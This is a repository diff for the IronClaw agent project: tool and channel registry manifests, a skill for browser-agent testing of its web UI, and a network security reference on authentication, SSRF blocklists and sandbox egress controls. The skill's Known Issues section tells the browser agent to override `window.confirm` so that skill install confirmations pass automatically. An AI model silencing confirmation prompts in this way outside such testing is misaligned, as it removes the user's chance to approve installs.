"setup_url": "https://t.me/BotFather"
},
"tags": ["default", "messaging"]
}
+31
View File
@@ -0,0 +1,31 @@
{
"name": "whatsapp",
"display_name": "WhatsApp Channel",
"kind": "channel",
"version": "0.1.0",
"description": "Talk to your agent through WhatsApp",
"keywords": ["messaging", "chat", "whatsapp", "meta"],
"source": {
"dir": "channels-src/whatsapp",
"capabilities": "whatsapp.capabilities.json",
"crate_name": "whatsapp-channel"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/whatsapp-wasm32-wasip2.tar.gz",
"sha256": null
}
},
"auth_summary": {
"method": "manual",
"provider": "Meta",
"secrets": ["whatsapp_access_token", "whatsapp_verify_token"],
"shared_auth": null,
"setup_url": "https://developers.facebook.com/apps/"
},
"tags": ["messaging"]
}
+31
View File
@@ -0,0 +1,31 @@
{
"name": "github",
"display_name": "GitHub",
"kind": "tool",
"version": "0.1.0",
"description": "GitHub integration for issues, PRs, repos, and code search",
"keywords": ["git", "code", "issues", "pull-requests", "repositories"],
"source": {
"dir": "tools-src/github",
"capabilities": "github-tool.capabilities.json",
"crate_name": "github-tool"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/github-wasm32-wasip2.tar.gz",
"sha256": null
}
},
"auth_summary": {
"method": "manual",
"provider": "GitHub",
"secrets": ["github_token"],
"shared_auth": null,
"setup_url": "https://github.com/settings/tokens"
},
"tags": ["default", "development"]
}
+31
View File
@@ -0,0 +1,31 @@
{
"name": "gmail",
"display_name": "Gmail",
"kind": "tool",
"version": "0.1.0",
"description": "Read, send, and manage Gmail messages and threads",
"keywords": ["email", "google", "mail", "messaging"],
"source": {
"dir": "tools-src/gmail",
"capabilities": "gmail-tool.capabilities.json",
"crate_name": "gmail-tool"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/gmail-wasm32-wasip2.tar.gz",
"sha256": null
}
},
"auth_summary": {
"method": "oauth",
"provider": "Google",
"secrets": ["google_oauth_token"],
"shared_auth": "google_oauth_token",
"setup_url": "https://console.cloud.google.com/apis/credentials"
},
"tags": ["default", "google", "messaging"]
}
+31
View File
@@ -0,0 +1,31 @@
{
"name": "google-calendar",
"display_name": "Google Calendar",
"kind": "tool",
"version": "0.1.0",
"description": "Create, read, update, and delete Google Calendar events",
"keywords": ["calendar", "google", "scheduling", "events"],
"source": {
"dir": "tools-src/google-calendar",
"capabilities": "google-calendar-tool.capabilities.json",
"crate_name": "google-calendar-tool"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/google-calendar-wasm32-wasip2.tar.gz",
"sha256": null
}
},
"auth_summary": {
"method": "oauth",
"provider": "Google",
"secrets": ["google_oauth_token"],
"shared_auth": "google_oauth_token",
"setup_url": "https://console.cloud.google.com/apis/credentials"
},
"tags": ["default", "google", "productivity"]
}
+31
View File
@@ -0,0 +1,31 @@
{
"name": "google-docs",
"display_name": "Google Docs",
"kind": "tool",
"version": "0.1.0",
"description": "Create and edit Google Docs documents",
"keywords": ["documents", "google", "writing", "docs"],
"source": {
"dir": "tools-src/google-docs",
"capabilities": "google-docs-tool.capabilities.json",
"crate_name": "google-docs-tool"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/google-docs-wasm32-wasip2.tar.gz",
"sha256": null
}
},
"auth_summary": {
"method": "oauth",
"provider": "Google",
"secrets": ["google_oauth_token"],
"shared_auth": "google_oauth_token",
"setup_url": "https://console.cloud.google.com/apis/credentials"
},
"tags": ["google", "productivity"]
}
+31
View File
@@ -0,0 +1,31 @@
{
"name": "google-drive",
"display_name": "Google Drive",
"kind": "tool",
"version": "0.1.0",
"description": "Upload, download, search, and manage Google Drive files and folders",
"keywords": ["storage", "google", "files", "drive"],
"source": {
"dir": "tools-src/google-drive",
"capabilities": "google-drive-tool.capabilities.json",
"crate_name": "google-drive-tool"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/google-drive-wasm32-wasip2.tar.gz",
"sha256": null
}
},
"auth_summary": {
"method": "oauth",
"provider": "Google",
"secrets": ["google_oauth_token"],
"shared_auth": "google_oauth_token",
"setup_url": "https://console.cloud.google.com/apis/credentials"
},
"tags": ["default", "google", "storage"]
}
+31
View File
@@ -0,0 +1,31 @@
{
"name": "google-sheets",
"display_name": "Google Sheets",
"kind": "tool",
"version": "0.1.0",
"description": "Read and write Google Sheets spreadsheet data",
"keywords": ["spreadsheets", "google", "data", "sheets"],
"source": {
"dir": "tools-src/google-sheets",
"capabilities": "google-sheets-tool.capabilities.json",
"crate_name": "google-sheets-tool"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/google-sheets-wasm32-wasip2.tar.gz",
"sha256": null
}
},
"auth_summary": {
"method": "oauth",
"provider": "Google",
"secrets": ["google_oauth_token"],
"shared_auth": "google_oauth_token",
"setup_url": "https://console.cloud.google.com/apis/credentials"
},
"tags": ["google", "productivity"]
}
+31
View File
@@ -0,0 +1,31 @@
{
"name": "google-slides",
"display_name": "Google Slides",
"kind": "tool",
"version": "0.1.0",
"description": "Create and edit Google Slides presentations",
"keywords": ["presentations", "google", "slides"],
"source": {
"dir": "tools-src/google-slides",
"capabilities": "google-slides-tool.capabilities.json",
"crate_name": "google-slides-tool"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/google-slides-wasm32-wasip2.tar.gz",
"sha256": null
}
},
"auth_summary": {
"method": "oauth",
"provider": "Google",
"secrets": ["google_oauth_token"],
"shared_auth": "google_oauth_token",
"setup_url": "https://console.cloud.google.com/apis/credentials"
},
"tags": ["google", "productivity"]
}
+31
View File
@@ -0,0 +1,31 @@
{
"name": "okta",
"display_name": "Okta",
"kind": "tool",
"version": "0.1.0",
"description": "Okta SSO for user profile, app catalog, and SSO launch links",
"keywords": ["sso", "identity", "authentication", "okta"],
"source": {
"dir": "tools-src/okta",
"capabilities": "okta-tool.capabilities.json",
"crate_name": "okta-tool"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/okta-wasm32-wasip2.tar.gz",
"sha256": null
}
},
"auth_summary": {
"method": "oauth",
"provider": "Okta",
"secrets": ["okta_oauth_token"],
"shared_auth": null,
"setup_url": "https://developer.okta.com/docs/guides/implement-oauth-for-okta/main/"
},
"tags": ["identity"]
}
+31
View File
@@ -0,0 +1,31 @@
{
"name": "slack-tool",
"display_name": "Slack Tool",
"kind": "tool",
"version": "0.1.0",
"description": "Your agent uses Slack to post and read messages in your workspace",
"keywords": ["messaging", "chat", "workspace"],
"source": {
"dir": "tools-src/slack",
"capabilities": "slack-tool.capabilities.json",
"crate_name": "slack-tool"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/slack-tool-wasm32-wasip2.tar.gz",
"sha256": null
}
},
"auth_summary": {
"method": "oauth",
"provider": "Slack",
"secrets": ["slack_bot_token"],
"shared_auth": null,
"setup_url": "https://api.slack.com/apps"
},
"tags": ["default", "messaging"]
}
+31
View File
@@ -0,0 +1,31 @@
{
"name": "telegram-mtproto",
"display_name": "Telegram Tool",
"kind": "tool",
"version": "0.1.0",
"description": "Your agent uses your Telegram account to read and send messages",
"keywords": ["messaging", "chat", "telegram", "mtproto"],
"source": {
"dir": "tools-src/telegram",
"capabilities": "telegram-tool.capabilities.json",
"crate_name": "telegram-tool"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/telegram-mtproto-wasm32-wasip2.tar.gz",
"sha256": null
}
},
"auth_summary": {
"method": "manual",
"provider": "Telegram",
"secrets": ["telegram_api_id", "telegram_api_hash"],
"shared_auth": null,
"setup_url": "https://my.telegram.org/apps"
},
"tags": ["messaging"]
}
+106
View File
@@ -0,0 +1,106 @@
---
name: web-ui-test
version: 0.1.0
description: Test the IronClaw web UI using the Claude for Chrome browser extension.
activation:
keywords:
- test web ui
- test the ui
- browser test
- chrome test
- test skills tab
- test chat
- web gateway test
patterns:
- "test.*web.*ui"
- "test.*browser"
- "chrome.*extension.*test"
---
# Web UI Testing with Claude for Chrome
Use this skill when manually testing the IronClaw web gateway UI via the Claude for Chrome browser extension.
## Prerequisites
- IronClaw must be running with `GATEWAY_ENABLED=true`
- Note the gateway URL (default: `http://127.0.0.1:3000/`) and auth token
- The Claude for Chrome extension must be installed and connected
## Starting the Server
```bash
CLI_ENABLED=false GATEWAY_AUTH_TOKEN=<your-token> cargo run
```
Wait for "Agent ironclaw ready and listening" in the logs before proceeding.
## Test Checklist
### 1. Connection
- Navigate to `http://127.0.0.1:3000/?token=<token>`
- Verify "Connected" indicator in the top-right corner
- Verify all tabs are visible: Chat, Memory, Jobs, Routines, Extensions, Skills
### 2. Chat Tab
- Send a simple message (e.g., "Hello, what tools do you have?")
- Verify the LLM responds without errors
- If you see "Invalid schema for function" errors, the tool schema fix (PR #301) may not be merged yet
### 3. Skills Tab
- Click the Skills tab
- Verify "No skills installed" or a list of installed skills (no "Skills system not enabled" error)
- Search for "markdown" in the ClawHub search box
- Verify results appear with: name, version, description, relevance score, "updated X ago"
- Verify skill names are clickable links to clawhub.ai
- If search returns empty with a yellow warning banner, the registry may be unreachable
### 4. Skill Install (from search)
- Search for a skill (e.g., "markdown")
- Click "Install" on a result
- Confirm the install dialog
- Verify success toast appears
- Verify the skill appears in "Installed Skills" section
### 5. Skill Install (by URL)
- Scroll to "Install Skill by URL"
- Enter a skill name and a ClawHub download URL:
- Name: `markdown-viewer`
- URL: `https://wry-manatee-359.convex.site/api/v1/download?slug=markdown-viewer`
- Click Install
- Verify success toast and skill appears in installed list
### 6. Skill Remove
- Find an installed skill
- Click "Remove"
- Confirm removal
- Verify the skill disappears from the installed list
### 7. Other Tabs (smoke test)
- **Memory**: Should show the memory filesystem (may be empty)
- **Jobs**: Should show job list (may be empty)
- **Routines**: Should show routine list
- **Extensions**: Should show extension list with install options
## Cleanup
After testing, remove any test-installed skills:
```bash
rm -rf ~/.ironclaw/installed_skills/<skill-name>
```
Stop the server with Ctrl+C or by killing the process.
## Known Issues
- ClawHub registry at `clawhub.ai` is behind Vercel which blocks non-browser TLS fingerprints; the backend uses `wry-manatee-359.convex.site` directly
- Skill downloads are ZIP archives containing SKILL.md, not raw text
- The `confirm()` dialog for install may block browser automation; override with `window.confirm = () => true` in the console first
+566
View File
@@ -0,0 +1,566 @@
# IronClaw Network Security Reference
This document catalogs every network-facing surface in IronClaw, its authentication mechanism, bind address, security controls, and known findings. Use this as the authoritative reference during code reviews that touch network-facing code.
**Last updated:** 2026-02-18
---
## Threat Model
IronClaw operates across four trust boundaries:
| Boundary | Trust Level | Examples |
|----------|------------|---------|
| **Local user** | Fully trusted | TUI, web gateway (loopback), CLI commands |
| **Browser client** | Authenticated | Web UI connected via bearer token; subject to CORS, Origin validation, CSRF protections |
| **Docker containers** | Untrusted (sandboxed) | Worker containers executing user jobs; isolated via per-job tokens, allowlisted egress, dropped capabilities |
| **External services** | Untrusted | Webhook senders (Telegram, Slack); authenticated via shared secret |
**Key assumptions:**
- The local machine is single-user. The web gateway and OAuth listener bind to loopback and do not defend against other local users.
- Docker containers are adversarial. A compromised container should not be able to access other jobs, exfiltrate secrets, or reach the host network beyond the orchestrator API.
- Webhook senders must prove knowledge of the shared secret. The secret is never transmitted in the clear by IronClaw itself.
- MCP server URLs are operator-configured and treated as trusted destinations (see [MCP Client](#mcp-client)).
---
## Network Surface Inventory
| Listener | Default Port | Default Bind | Auth Mechanism | Config Env Var | Source |
|----------|-------------|-------------|----------------|----------------|--------|
| Web Gateway | 3000 | `127.0.0.1` | Bearer token (constant-time) | `GATEWAY_HOST`, `GATEWAY_PORT`, `GATEWAY_AUTH_TOKEN` | `server.rs``start_server()` |
| HTTP Webhook Server | 8080 | `0.0.0.0` | Shared secret (body field) | `HTTP_HOST`, `HTTP_PORT`, `HTTP_WEBHOOK_SECRET` | `webhook_server.rs``start()` |
| Orchestrator Internal API | 50051 | `127.0.0.1` (macOS/Win) / `0.0.0.0` (Linux) | Per-job bearer token (constant-time) | `ORCHESTRATOR_PORT` | `api.rs``OrchestratorApi::start()` |
| OAuth Callback Listener | 9876 | `127.0.0.1` | None (ephemeral, 5-min timeout) | N/A (hardcoded) | `oauth_defaults.rs``bind_callback_listener()` |
| Sandbox HTTP Proxy | OS-assigned (ephemeral) | `127.0.0.1` | None (loopback only) | N/A (auto-assigned) | `proxy/http.rs``SandboxProxy::start()` |
---
## 1. Web Gateway
**Source:** `src/channels/web/server.rs`, `src/channels/web/auth.rs`
### Bind Address
Configurable via `GATEWAY_HOST` (default `127.0.0.1`) and `GATEWAY_PORT` (default `3000`). The gateway is designed as a local-first, single-user service.
**Reference:** `src/config.rs``gateway_host` default (`"127.0.0.1"`), `gateway_port` default (`3000`)
### Authentication
Bearer token middleware applied to all `/api/*` routes via `route_layer`. Token checked in two locations:
1. `Authorization: Bearer <token>` header (primary)
2. `?token=<token>` query parameter (fallback for SSE `EventSource` which cannot set headers)
Both paths use **constant-time comparison** via `subtle::ConstantTimeEq` (`ct_eq`).
**Reference:** `src/channels/web/auth.rs``auth_middleware()`, header check and query-param fallback both use `ct_eq`
If `GATEWAY_AUTH_TOKEN` is not set, a random hex token is generated at startup.
### Unauthenticated Routes
| Route | Purpose | Response |
|-------|---------|----------|
| `/api/health` | Health check endpoint | `{"status":"healthy","channel":"gateway"}` — no version, uptime, or fingerprinting data |
| `/` | Static HTML (embedded) | Single-page app shell |
| `/style.css` | Static CSS (embedded) | Stylesheet |
| `/app.js` | Static JS (embedded) | Client-side app |
### CORS Policy
Restricted to a two-origin allowlist (not browser same-origin policy, but a CORS allowlist that achieves equivalent protection):
- `http://<bind_ip>:<bind_port>`
- `http://localhost:<bind_port>`
Allowed methods: `GET`, `POST`, `PUT`, `DELETE`. Allowed headers: `Content-Type`, `Authorization`. Credentials allowed.
**Reference:** `src/channels/web/server.rs``CorsLayer::new()` block
### WebSocket Origin Validation
The `/api/chat/ws` endpoint has two layers of protection:
1. **Bearer token auth** — the route is inside the `protected` router with `route_layer`, so `auth_middleware` runs before the handler. The token is passed via the `Authorization: Bearer` header on the HTTP upgrade request (not via query parameter).
2. **Origin header validation** (inside the handler) as a defense-in-depth guard against cross-site WebSocket hijacking (CSWSH):
- Origin header is **required** — missing Origin returns 403 (browsers always send it for WS upgrades; absence implies a non-browser client)
- Origin host is extracted by stripping scheme and port, then compared **exactly** against `localhost`, `127.0.0.1`, and `[::1]`
- Partial matches like `localhost.evil.com` are rejected because the check extracts the host portion before the first `:` or `/`
**Reference:** `src/channels/web/server.rs``chat_ws_handler()` (origin validation block)
### Rate Limiting
Chat endpoint (`/api/chat/send`) enforces a sliding-window rate limit: **30 requests per 60 seconds** (global, not per-IP — single-user gateway).
**Reference:** `src/channels/web/server.rs``RateLimiter` struct, `chat_rate_limiter` field
### Body Limits
- Global: **1 MB** max request body (`DefaultBodyLimit::max(1024 * 1024)`)
- **Reference:** `src/channels/web/server.rs``.layer(DefaultBodyLimit::max(...))`
### Project File Serving
The `/projects/{project_id}/*` routes serve files from project directories. These are **behind auth middleware** to prevent unauthorized file access.
**Reference:** `src/channels/web/server.rs` — project file routes in `protected` router
### Security Headers
The gateway sets the following security headers on all responses (via `SetResponseHeaderLayer::if_not_present`, so handlers can override):
- `X-Content-Type-Options: nosniff` — prevents MIME-sniffing
- `X-Frame-Options: DENY` — prevents clickjacking via iframes
**Reference:** `src/channels/web/server.rs``SetResponseHeaderLayer` calls
### Graceful Shutdown
Shutdown is triggered via a `oneshot::Sender` stored in `GatewayState::shutdown_tx`. The server uses `axum::serve(...).with_graceful_shutdown(...)` to drain in-flight requests before closing the listener.
**Reference:** `src/channels/web/server.rs``shutdown_tx` / `shutdown_rx` setup
---
## 2. HTTP Webhook Server
**Source:** `src/channels/webhook_server.rs`, `src/channels/http.rs`
### Bind Address
Configurable via `HTTP_HOST` (default `0.0.0.0`) and `HTTP_PORT` (default `8080`).
**WARNING:** The default bind address is `0.0.0.0`, meaning the webhook server listens on **all interfaces** by default. This is intentional (webhooks must be reachable from external services like Telegram/Slack), but operators should be aware of the exposure.
**Reference:** `src/config.rs``http_host` default (`"0.0.0.0"`), `http_port` default (`8080`)
### Authentication
Webhook secret is passed **in the JSON request body** (`secret` field), not as a header. The secret is compared using **constant-time** `subtle::ConstantTimeEq` (`ct_eq`).
The secret is required to start the channel — if `HTTP_WEBHOOK_SECRET` is not set, `start()` returns an error.
**CSRF note:** Because the secret is in the JSON body (not a cookie or header that browsers auto-attach), a cross-origin form POST cannot forge a valid request. Browsers would send `application/x-www-form-urlencoded`, which the `Json<T>` extractor rejects with HTTP 415. Even if `Content-Type` were spoofed via CORS preflight, the attacker would need the secret value, which is never stored in the browser.
**Reference:** `src/channels/http.rs``webhook_handler()` (secret validation with `ct_eq`), `start()` (required-secret check)
### Content-Type Validation
The webhook endpoint uses axum's `Json<WebhookRequest>` extractor, which enforces `Content-Type: application/json`. Requests with missing or incorrect Content-Type are rejected with **HTTP 415 Unsupported Media Type** before the handler body executes. Malformed JSON bodies are rejected with **HTTP 422 Unprocessable Entity**.
**Reference:** `src/channels/http.rs``webhook_handler()` function signature (`Json(req): Json<WebhookRequest>`)
### Rate Limiting
**60 requests per minute**, enforced via a mutex-protected sliding window.
**Reference:** `src/channels/http.rs``MAX_REQUESTS_PER_MINUTE` constant, rate-limit check in `webhook_handler()`
### Body Limits
- JSON body: **64 KB** max (`MAX_BODY_BYTES`)
- Message content: **32 KB** max (`MAX_CONTENT_BYTES`)
- Pending synchronous responses: **100 max** (`MAX_PENDING_RESPONSES`)
- Synchronous response timeout: **60 seconds**
**Reference:** `src/channels/http.rs` — constants block (`MAX_BODY_BYTES`, `MAX_CONTENT_BYTES`, `MAX_PENDING_RESPONSES`, `MAX_REQUESTS_PER_MINUTE`)
### Routes
| Route | Auth | Purpose | Response |
|-------|------|---------|----------|
| `/health` | None | Health check | `{"status":"healthy","channel":"http"}` — no fingerprinting data |
| `/webhook` | Webhook secret | Receive messages | Webhook response |
### Graceful Shutdown
Shutdown is triggered via a `oneshot::Sender` stored on the `WebhookServer` struct. The server uses `axum::serve(...).with_graceful_shutdown(...)`. The public `shutdown()` method sends the signal and awaits the task join handle, ensuring a clean drain-and-wait.
**Reference:** `src/channels/webhook_server.rs``shutdown()` method
---
## 3. Orchestrator Internal API
**Source:** `src/orchestrator/api.rs`, `src/orchestrator/auth.rs`
### Bind Address
Platform-dependent:
- **macOS / Windows**: `127.0.0.1:<port>` — Docker Desktop routes `host.docker.internal` through its VM to `127.0.0.1`
- **Linux**: `0.0.0.0:<port>` — containers reach the host via the Docker bridge gateway (`172.17.0.1`), which is not loopback
Default port: `50051`.
**Reference:** `src/orchestrator/api.rs``OrchestratorApi::start()`, platform-conditional bind address block
### Authentication
Per-job bearer tokens validated by `worker_auth_middleware`:
1. Tokens are **cryptographically random** (32 bytes, hex-encoded = 64 chars)
2. Tokens are **scoped to a specific job_id** — a token for job A cannot access endpoints for job B
3. Comparison uses **constant-time** `subtle::ConstantTimeEq`
4. Tokens are **ephemeral** (in-memory only, never persisted to disk or DB)
5. Tokens and associated credential grants are **revoked** when the container is cleaned up
**Reference:** `src/orchestrator/auth.rs``TokenStore::create_token()`, `TokenStore::validate()`, `generate_token()`
### Token Extraction
The middleware extracts the job UUID from the URL path (`/worker/{job_id}/...`) and validates the `Authorization: Bearer` header against the stored token for that specific job.
**Reference:** `src/orchestrator/auth.rs``worker_auth_middleware()`, `extract_job_id_from_path()`
### Credential Grants
The orchestrator can grant per-job access to specific secrets from the encrypted secrets store. Grants are:
- Stored alongside the token in the `TokenStore`
- Scoped to specific `(secret_name, env_var)` pairs
- Revoked when the job token is revoked
- Decrypted on-demand when the worker requests `/worker/{job_id}/credentials`
**Reference:** `src/orchestrator/auth.rs``CredentialGrant` struct, `src/orchestrator/api.rs``get_credentials_handler()`
### Rate Limiting
**None.** The orchestrator API has no rate limiting. All `/worker/*` endpoints are authenticated via per-job bearer tokens, but a compromised container could spam authenticated endpoints without throttling.
**Mitigation:** Tokens are scoped per-job so a compromised container can only abuse its own job's endpoints. Container execution is time-bounded (see [Docker Container Security](#docker-container-security)), which limits the window for abuse.
### Routes
| Route | Auth | Purpose | Response |
|-------|------|---------|----------|
| `/health` | None | Health check | `"ok"` (plain text) — no fingerprinting data |
| `/worker/{job_id}/job` | Per-job token | Get job description | Job JSON |
| `/worker/{job_id}/llm/complete` | Per-job token | Proxy LLM completion | LLM response |
| `/worker/{job_id}/llm/complete_with_tools` | Per-job token | Proxy LLM tool completion | LLM response |
| `/worker/{job_id}/status` | Per-job token | Report worker status | Ack |
| `/worker/{job_id}/complete` | Per-job token | Report job completion | Ack |
| `/worker/{job_id}/event` | Per-job token | Send job events (SSE broadcast) | Ack |
| `/worker/{job_id}/prompt` | Per-job token | Poll for follow-up prompts | Prompt or empty |
| `/worker/{job_id}/credentials` | Per-job token | Retrieve decrypted credentials | Credentials JSON |
### Graceful Shutdown
**None.** The orchestrator calls `axum::serve(listener, router).await?` without `.with_graceful_shutdown()`. The server stops only when the task is dropped (process exit or tokio task cancellation). In-flight requests may be interrupted.
**Reference:** `src/orchestrator/api.rs``OrchestratorApi::start()`
---
## 4. OAuth Callback Listener
**Source:** `src/cli/oauth_defaults.rs`
### Bind Address
Always binds to **loopback only**: `127.0.0.1:9876`. Falls back to `[::1]:9876` (IPv6 loopback) if IPv4 binding fails for reasons other than `AddrInUse`. If the port is already in use, the error is returned immediately (fail-fast).
Both IPv4 and IPv6 loopback addresses are security-equivalent — they are only reachable from the local machine.
**Reference:** `src/cli/oauth_defaults.rs``OAUTH_CALLBACK_PORT` constant, `bind_callback_listener()`
### Lifecycle
The listener is **ephemeral** — it is started only when an OAuth flow is initiated (e.g., `ironclaw tool auth <name>`) and shut down after the callback is received or the timeout expires.
### Timeout
**5-minute timeout** (`Duration::from_secs(300)`). If the user does not complete the OAuth flow in the browser within 5 minutes, the listener shuts down.
**Reference:** `src/cli/oauth_defaults.rs``tokio::time::timeout(Duration::from_secs(300), ...)`
### Security Controls
- **HTML escaping**: Provider names displayed in the landing page are HTML-escaped to prevent XSS (escapes `&`, `<`, `>`, `"`, `'`)
- **Error parameter checking**: The handler checks for `error=` in the callback query string before extracting the auth code
- **URL decoding**: Callback parameters are URL-decoded safely
**Reference:** `src/cli/oauth_defaults.rs``html_escape()`
### Built-in OAuth Credentials
Google OAuth client ID and secret are compiled into the binary (with compile-time override via `IRONCLAW_GOOGLE_CLIENT_ID` / `IRONCLAW_GOOGLE_CLIENT_SECRET`). As noted in the source, Google Desktop App client secrets are [not actually secret](https://developers.google.com/identity/protocols/oauth2/native-app) per Google's documentation.
**Reference:** `src/cli/oauth_defaults.rs``GOOGLE_CLIENT_ID` / `GOOGLE_CLIENT_SECRET` constants
### Graceful Shutdown
Implicit. The listener is a raw `TcpListener` (not axum) inside a `tokio::time::timeout` future. Once the authorization code or error is received, the future returns and the `TcpListener` is dropped, closing the port. No explicit shutdown signal is needed.
**Reference:** `src/cli/oauth_defaults.rs``wait_for_callback()`
---
## 5. Sandbox HTTP Proxy
**Source:** `src/sandbox/proxy/http.rs`, `src/sandbox/proxy/allowlist.rs`, `src/sandbox/proxy/policy.rs`
### Bind Address
Always binds to **`127.0.0.1`** (localhost only). Port is OS-assigned (port `0`, ephemeral). Falls back to `[::1]` (IPv6 loopback) if IPv4 is unavailable.
Both IPv4 and IPv6 loopback addresses are security-equivalent — they are only reachable from the local machine.
**Reference:** `src/sandbox/proxy/http.rs``SandboxProxy::start()`, `TcpListener::bind("127.0.0.1:0")`
### Purpose
Acts as an HTTP/HTTPS proxy for Docker sandbox containers. Containers are configured with `http_proxy` / `https_proxy` environment variables pointing to this proxy, so all outbound HTTP traffic is routed through it.
### Domain Allowlisting
All requests are validated against a domain allowlist before being forwarded:
- **Empty allowlist = deny all** (fail-closed default)
- Supports exact matches and wildcard patterns (`*.example.com`)
- Validates URL scheme (HTTP/HTTPS only, rejects `ftp://`, `file://`, etc.)
**Reference:** `src/sandbox/proxy/allowlist.rs``DomainAllowlist` struct, `is_allowed()` method
### HTTPS Tunneling (CONNECT)
- CONNECT requests for HTTPS tunneling are subject to the same allowlist
- **30-minute timeout** on established tunnels to prevent indefinite holds
- **No MITM**: the proxy cannot inspect or inject credentials into HTTPS traffic (by design — containers that need credentials must use the orchestrator's `/worker/{job_id}/credentials` endpoint)
**Reference:** `src/sandbox/proxy/http.rs``handle_connect()` function
### Credential Injection (HTTP only)
For plain HTTP requests to allowed hosts, the proxy can inject credentials:
- Bearer tokens in `Authorization` header
- Custom headers (e.g., `X-API-Key`)
- Query parameters
- Credentials are resolved at request time from the encrypted secrets store
- Credentials never enter the container's environment or filesystem
**Reference:** `src/sandbox/proxy/http.rs` — credential injection block in `handle_request()`
### Hop-by-Hop Header Filtering
The proxy strips hop-by-hop headers to prevent header-based attacks: `connection`, `keep-alive`, `proxy-authenticate`, `proxy-authorization`, `te`, `trailers`, `transfer-encoding`, `upgrade`.
**Reference:** `src/sandbox/proxy/http.rs``is_hop_by_hop_header()`
### Docker Container Security
Containers that use the proxy are configured with defense-in-depth:
| Control | Setting | Reference |
|---------|---------|-----------|
| Capabilities | Drop ALL, add only CHOWN | `src/sandbox/container.rs``cap_drop` / `cap_add` |
| Privilege escalation | `no-new-privileges:true` | `src/sandbox/container.rs``security_opt` |
| Root filesystem | Read-only (except FullAccess policy) | `src/sandbox/container.rs``readonly_rootfs` |
| User | Non-root (UID 1000:1000) | `src/sandbox/container.rs``user` field |
| Network | Bridge mode (isolated) | `src/sandbox/container.rs``network_mode` |
| Tmpfs | `/tmp` (512 MB), `/home/sandbox/.cargo/registry` (1 GB) | `src/sandbox/container.rs``tmpfs` block |
| Auto-remove | Enabled | `src/sandbox/container.rs``auto_remove` |
| Output limits | Configurable max stdout/stderr | `src/sandbox/container.rs``collect_logs()` |
| Timeout | Enforced with forced container removal | `src/sandbox/container.rs``tokio::time::timeout` in `run()` |
### Graceful Shutdown
Shutdown is triggered via a `oneshot::Sender` stored on the proxy. The accept loop uses `tokio::select!` to race `listener.accept()` against the shutdown signal. The `stop()` method fires the signal; the loop breaks on the next iteration. Note: `stop()` does not await a join handle, so there is no drain-and-wait for in-flight connections.
**Reference:** `src/sandbox/proxy/http.rs``stop()` method, `tokio::select!` loop
---
## Egress Controls
### WASM Tool HTTP Requests
WASM tools execute HTTP requests through the host runtime, subject to:
1. **Endpoint allowlist** — declared in `<tool>.capabilities.json`, validated by `AllowlistValidator`
- Host matching (exact or wildcard)
- Path prefix matching
- HTTP method restriction
- HTTPS required by default
- Userinfo in URLs (`user:pass@host`) rejected to prevent allowlist bypass
- Path traversal (`../`, `%2e%2e/`) normalized and blocked
- Invalid percent-encoding rejected
- **Reference:** `src/tools/wasm/allowlist.rs`
2. **Credential injection** — secrets injected at the host boundary by `CredentialInjector`
- WASM code never sees actual credential values
- Secrets must be in the tool's `allowed_secrets` list
- Injection supports: Bearer header, Basic auth, custom header, query parameter
- **Reference:** `src/tools/wasm/credential_injector.rs`
3. **Leak detection**`LeakDetector` scans both outbound requests and inbound responses for secret patterns
- Runs at two points: before sending and after receiving
- Uses Aho-Corasick for fast multi-pattern matching
- **Reference:** `src/safety/leak_detector.rs`
### Built-in HTTP Tool
The `http` tool (`src/tools/builtin/http.rs`) has its own SSRF protections:
| Protection | Details | Reference |
|-----------|---------|-----------|
| HTTPS only | Rejects `http://` URLs | `http.rs` — scheme check |
| Localhost blocked | Rejects `localhost` and `*.localhost` | `http.rs` — host check |
| Private IP blocked | Rejects RFC 1918, loopback, link-local, multicast, unspecified | `http.rs``is_disallowed_ip()` |
| DNS rebinding | Resolves hostname and checks all resolved IPs against blocklist | `http.rs` — DNS resolution block |
| Cloud metadata | Blocks `169.254.169.254` (AWS/GCP metadata endpoint) | `http.rs``is_disallowed_ip()` |
| Redirect blocking | Returns error on 3xx responses (prevents SSRF via redirect) | `http.rs` — status code check |
| Response size limit | **5 MB** max, enforced both via Content-Length header and streaming | `http.rs``MAX_RESPONSE_SIZE` constant, streaming cap |
| Outbound leak scan | Scans URL, headers, and body for secrets before sending | `http.rs``LeakDetector::scan_http_request()` |
| Approval required | Requires user approval before execution | `http.rs``requires_approval()` returns `true` |
| Timeout | 30 seconds default | `http.rs``reqwest::Client` builder |
| No redirects | `redirect::Policy::none()` — redirects are not followed | `http.rs``reqwest::Client` builder |
### MCP Client
MCP servers are external processes accessed via HTTP. The MCP client (`src/tools/mcp/client.rs`) uses `reqwest` with a 30-second timeout but has **no SSRF protections** — it connects to whatever URL is configured for the MCP server.
This is by design: MCP server URLs come from **operator-controlled configuration** (config files, environment variables, or the CLI `tool install` command), not from user input or LLM output. A compromised config file is outside IronClaw's threat model — it would imply the operator's machine is already compromised.
**Reference:** `src/tools/mcp/client.rs``reqwest::Client` builder
### Sandbox Domain Allowlists
Sandbox containers route all HTTP traffic through the proxy, which enforces a domain allowlist. The allowlist is built from:
1. A default set of domains (`src/sandbox/config.rs``default_allowlist()`)
2. Additional domains from `SANDBOX_EXTRA_DOMAINS` env var (comma-separated)
**Reference:** `src/config.rs` — sandbox allowlist assembly
---
## Authentication Mechanisms Summary
| Mechanism | Constant-Time | Used By | Reference |
|-----------|:------------:|---------|-----------|
| Gateway bearer token | Yes | Web gateway (header + query) | `src/channels/web/auth.rs``auth_middleware()` |
